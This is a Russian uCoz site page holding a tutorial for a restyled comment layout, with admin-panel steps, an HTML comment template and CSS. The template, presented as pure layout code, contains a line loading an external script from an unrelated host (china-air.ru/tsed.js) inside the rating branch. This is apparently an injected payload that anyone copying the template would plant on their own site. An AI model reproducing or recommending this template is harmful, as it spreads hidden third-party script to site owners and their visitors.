Вы вошли как Гость
Группа "Гости" Приветствую Вас Гость!
Группа "Гости" Приветствую Вас Гость!
Марбург.ру
Коротко обо всём
Меню сайта
Последние статьи
Популярные статьи
Новое на сайте
fuck
Чат
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Регистрация
(Новых: )
Справочная информация
Проведение досуга
Финансы и покупки
Игры
Фильм про Марбург
Панорама Марбурга
Виртуальные туры
Архив
Поиск по сайту
Blog
Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком10:02 Новый вид комментария для uCoz с уголком |
 Установка: - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему ищем код Code $COM_BODY$ и заменяем его на Code <ul class="cell_coment"> $COM_BODY$ </ul> - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код Code <li> <div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div> <div class="coment_info"> <span class="tip"></span> <div class="coment_os"> <div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div> <div class="coment_message left">$MESSAGE$</div> <div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div> </div> </div> </li> - и прописываем в css следующий код Code /* ВИД КОММЕНТАРИЯ ===================================================*/ .cell_coment { list-style: none; padding: 0px; margin: 0px; } .cell_coment li { position: relative; padding-left: 60px; width: 500px; } .coment_info { position: relative; text-align:justify; color: #555; background: #fff; border: 1px solid #C9C9C9; padding: 10px; margin-bottom: 30px; } .coment_os { overflow: hidden; } .coment_name, .coment_nomer { padding-bottom: 5px; } .coment_message { width: 100%; border-top: 1px solid #C9C9C9; border-bottom: 1px solid #C9C9C9; padding: 5px 0px; } .coment_rating { padding-top: 5px; } .coment_name, .coment_nomer, .coment_rating { font:10px Verdana,Arial,Helvetica, sans-serif; color:#999; font-weight: bold; } .avatar a:hover, .avatar { position: absolute; height: 45px; width: 45px; left: 0; } .avatar img { height: 45px; width: 45px; border: none; } .tip{ position: absolute; top: 10px; left: -7px; height: 13px; width: 9px; background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left; } .coment_info, .avatar a:hover { box-shadow: 0px 0px 5px #999; -moz-box-shadow: 0px 0px 5px #999; -webkit-box-shadow: 0px 0px 5px #999; } .left {float:left;} .right {float:right;} .clear {clear:left;} .coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);} /* =================================================*/ |
|
|
| Всего комментариев: 0 | |
Copyright MyCorp © 2024 | Сделать бесплатный сайт с uCoz